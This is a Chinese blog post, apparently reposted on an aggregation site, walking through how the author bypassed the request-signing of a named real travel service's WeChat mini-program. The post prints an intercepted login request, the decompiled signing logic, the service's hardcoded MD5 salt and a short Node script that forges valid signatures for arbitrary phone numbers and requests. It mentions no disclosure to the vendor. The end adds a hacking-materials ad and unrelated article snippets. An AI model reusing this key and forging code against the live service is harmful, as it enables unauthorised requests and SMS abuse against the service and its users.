小程序绕过 sign 签名

之前看到了一篇文章【小程序绕过sign签名思路】之前在做小程序渗透时也遇到了这种情况,但是直接放弃测试了,发现这种思路后,又遇到了这种情况,记录下过程。

并没有漏洞分享,仅仅是把小程序也分享出来,方便大家测试学习。

小程序 父母邦亲子旅行酒店营地乐园活动。

在登录时验证码登录的数据包

POST /wxapp/login/send_messages?format=json HTTP/1.1
Host: api.fumubang.com
Content-Length: 118
Xweb_xhr: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36 MicroMessenger/7.0.20.1781(0x6700143B) NetType/WIFI MiniProgramEnv/Windows WindowsWechat/WMPF WindowsWechat(0x63090819) XWEB/8555
Content-Type: application/json
Accept: */*
Sec-Fetch-Site: cross-site
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://servicewechat.com/wxef0aac3d44dcda51/214/page-frame.html
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: close{"phone_num":"XXXXXXXX","version":"3.3.9","scene":1053,"appid":648481988,"sign":"85a840e3674201f2606b8b65f914b912"}

image

我们直接修改手机号,重放数据包。

image

提示签名失败。

打开对应的路径 C:\Users\1\Documents\WeChat Files\Applet

image

将目录下所有文件全部删除 并重新打开小程序,此时生成的唯一文件夹,就是对应的该小程序的代码。

image

对小程序进行反编译

image

因为有一些依赖于 wx 所以只能提供思路

image

我们看到 sign 的创建流程

image

所以只需要构造满足 i.sign = a.create_sign(i, "d19e4abd1036063faa4218c139378c0e");​ 就好啦。

初期思路是这样子的

image

但是因为存在 wx 的依赖,无法运行成功,但是加密是在本地处理的,这样构造应该是不对的。

帮助网安学习,全套资料S信免费领取:
① 网安学习成长路径思维导图
② 60+网安经典常用工具包
③ 100+SRC分析报告
④ 150+网安攻防实战技术电子书
⑤ 最权威CISSP 认证考试指南+题库
⑥ 超1800页CTF实战技巧手册
⑦ 最新网安大厂面试题合集(含答案)
⑧ APP客户端安全检测指南(安卓+IOS)

柳暗花明

我们加入调试

image

发现第一个请求的数据包 /wxapp/index/get_kefu_phone 不需要登录就可以访问到这个界面,同时界面里也有 sign 参数。

利用微信开发者工具进行模拟操作。

加入断点

image

继续步入

image

可以添加字段 查看对应的值。

继续步入

image

该函数首先创建一个空数组 e​,然后通过 Object.keys(r).sort()​ 获取对象 r​ 的所有键,并进行排序。遍历排序后的键数组,判断键值是否符合特定条件,并将满足条件的键值对拼接成字符串并存入数组 e​ 中。 最后得到的值是:

scene=1001&version=5.0.6d19e4abd1036063faa4218c139378c0e

image

返回值为 64d78d749828368851331593fa1e1ceb

image

image

就是对应字符串生成的 md5 的值。

我们修改一下数据包

image

发送成功。

修改手机号的数据包

image

image

将手机号修改后 提示签名失败。

phone_num=1xxxxxxxxx9&scene=1053&version=3.3.9d19e4abd1036063faa4218c139378c0e
a90b19243e471d648d8eb5022d48066cphone_num=1xxxxxxxxx2&scene=1053&version=3.3.9d19e4abd1036063faa4218c139378c0e
85a840e3674201f2606b8b65f914b912

image

所以我们把代码稍微修改一下

"use strict";
var a = require("./md5.js");
var i = {"phone_num":"1xxxxxxxxxx2","version":"3.3.9","scene":1053,"appid":648481988}
i.sign = a.create_sign(i, "d19e4abd1036063faa4218c139378c0e");
console.log(i);

image

成功破解了 sign 签名,可以发送任意数据包。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/758023.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

什么是数组流

字节数组流 1.ByteArrayInputStream和ByteArrayOutputStream分别使用字节数组作为流的源和目标。 2.ByteArrayInputStream构造方法 •ByteArrayInputStream (byte[] buf) •ByteArrayInputStream (byte[] buf,int offset,int length) 3.ByteArrayInputStream常用方法 • public…

如何建立数字化招标采购(系统)评价体系?

前言 长期以来,采购的经济目标占据了主导地位,采购人、采购代理机构或出于“经济人”的本性,或迫于采购资金的限制,极易采购便宜的产品、工程和服务,而忽略了采购的价值。 有效的采购制度,不仅仅以控制成…

【以图搜图】GPUNPU适配万物识别模型和Milvus向量数据库

目录 以图搜图介绍项目地址Milvuscv_resnest101_general_recognition 代码使用流程结果展示模型部署环境Milvus部署及使用docker安装docker-compose安装Milvus可视化工具Attu进入网页端 Data数据示例点个赞再走呗!比心💞️ 以图搜图 • 🤖 Mo…

[视觉基础知识]: 点云数据

https://pointclouds.org/documentation/tutorials/pcd_file_format.html PCD 不是第一种支持 3D 点云数据的文件类型。尤其是计算机图形学和计算几何学社区,已经创建了多种格式来描述使用激光扫描仪获取的任意多边形和点云。其中一些格式包括: PLY - …

Go微服务实战——服务的监控与链路追踪(监控数据可视化)

链路追踪背景 对于早期系统或者服务来说,开发人员一般通过打日志的方式来进行埋点(常用的数据采集方式),然后再根据日志系统和性能监控定位及分析问题。对于单体的应用通过日志系统完全可以定位到问题,从而排查异常。…

Jpg图片怎么变成gif?三步在线转换gif动画

JPG是一种常见的图像格式,而GIF动态则是一种流行的动态图像格式。如果你想将多张JPG图片合成为一个GIF动画,下面是一些简单的方法来帮助你完成这个任务。通过使用Gif动画制作工具-GIF中文网,上传多张jpg格式图片轻松一键在线转换gif动画&…

uniapp H5打开应用商店

/* 点击事件 */downApp() {let sysInfo uni.getSystemInfoSync()if (sysInfo.osName ios) { // ios/* 跳转到ios商店 id后面接的就是苹果id */window.location.replace(itms-appss://apps.apple.com/cn/app/id6479005866)} else { // androidthis.detectDeviceBrand(sysInfo…

【shell】定时检查说明

想法:定一个时间,然后查询需要格式的相关文件,移到一个新的文件夹下面 文件单独检查 进入账号su root之后,进入到crontab -e进行添加 #凌晨1点10分 0点30分 10 1 * * * /data/edw_ods/check_st/1move_file.sh 30 0 * * * /data…

Python爬虫获取接口数据

Python爬虫获取接口数据 正常人的操作​​​​​​​​​​爬虫的思路标题获取请求信息标题请求转换为代码完整代码请求返回信息执行程序获取静态网页数据的教程,适用于我们要爬取的数据在网页源代码中出现,但是还是有很多的数据是源代码中没有的,需要通过接口访问服务器来获…

Docker与containerd:容器技术的双璧

🐇明明跟你说过:个人主页 🏅个人专栏:《Docker幻想曲:从零开始,征服容器宇宙》 🏅 🔖行路有良友,便是天堂🔖 目录 一、前言 1、Docker和containerd的背景…

ISO9001质量管理体系是什么,ISO9001认证详细介绍

ISO9001质量管理体系是国际标准化组织(ISO)制定的一套质量管理标准,旨在帮助企业建立有效的质量管理体系,提高产品和服务的质量水平,增强企业的竞争力和市场信誉。ISO9001认证则是企业按照ISO9001标准建立起质量管理体…

cobbler批量装机工具,可以实现同时装多台或多台不同系统的主机,也可以实现定制安装

cobbler批量装机工具 文章目录 cobbler批量装机工具1. cobbler简介2. cobbler服务端部署uos3. 客户端安装(内存和cpu可以多个点,以免后面出错)4.cobbler服务端部署centos75.客户端安装6.cobbler服务端部署centos87.客户端安装8.cobbler服务端部署rockylinux99.客户端…

还在苦苦寻找Gin的学习资料么?学习Gin框架,看它就欧了

学习 Go Gin 框架可以按照以下步骤进行: 理解基本概念: 确保你对 Go 语言有一定的了解,并理解 Web 框架的基本概念。Gin 是一个基于 Go 语言的轻量级 Web 框架,因此,你需要了解 HTTP 请求、路由处理、中间件等概念。 …

面试笔记——Redis(集群方案:主从复制、哨兵模式和分片集群)

主从复制 在 Redis 主从集群中,一个主节点(Master)负责处理客户端的读写请求,而多个从节点(Slave)则负责复制主节点的数据,并对外提供读取服务——解决高并发问题。 主节点(Master&…

最新ChatGPT/GPT4科研应用与AI绘图及论文高效写作教程

原文链接:最新ChatGPT/GPT4科研应用与AI绘图及论文高效写作教程https://mp.weixin.qq.com/s?__bizMzUzNTczMDMxMg&mid2247598050&idx5&sn70fd3f5946d581ad9c1363295b130ef5&chksmfa823e05cdf5b713baf9cf1381bfb2455ad675a0b21e194bef8b76f35d6aa77…

C++初阶 | [九] list 及 其模拟实现

摘要:介绍 list 容器,list 模拟实现,list与vector的对比 list(带头双向循环列表) 导入:list 的成员函数基本上与 vector 类似,具体内容可以查看相关文档(cplusplus.com/reference/list/list/)&…

vue2知识总结

1.如何调用子组件的方法 直接通过this.$refs.节点.方法&#xff0c;如&#xff1a;this.$refs.company.getDetail() <Mygs v-if"mygs" :coType"coType" :deptId"deptId" valueParent"valueParent" ref"company" /> …

Linux中使用vim编辑器的时候提示:发现交换文件“XXX.swap“

目录 问题描述解决方案 问题描述 有时候vim编辑文件的时候 系统突然卡了 无奈只能强制退出关机 然后重启 这个时候想重新回来继续编辑刚刚的文件 注意:我这种操作方式 虽然之后可以继续正常编辑了 但是发现文件是没有保存的 vim XXX进去有如下提示 解决方案 注意:我这种操作…

JavaScript 什么是纯函数,有哪些常见的纯函数

什么是纯函数 纯函数是指那些不依赖于外部状态&#xff0c;也不改变外部状态的函数。在JavaScript中&#xff0c;纯函数的返回值仅由其输入参数决定&#xff0c;而且执行纯函数不会产生副作用&#xff0c;比如修改全局变量或修改传入的参数。 常见的纯函数 JavaScript中一些常…

理论学习:深度学习里什么是置信度

什么是置信度 在深度学习中&#xff0c;置信度通常指的是模型对其预测结果的确信程度。这种概念在分类问题中尤其常见&#xff0c;其中模型会为每个类别分配一个概率值&#xff0c;这个值表示模型认为输入数据属于该类别的可能性有多大。置信度是模型输出的一部分&#xff0c;…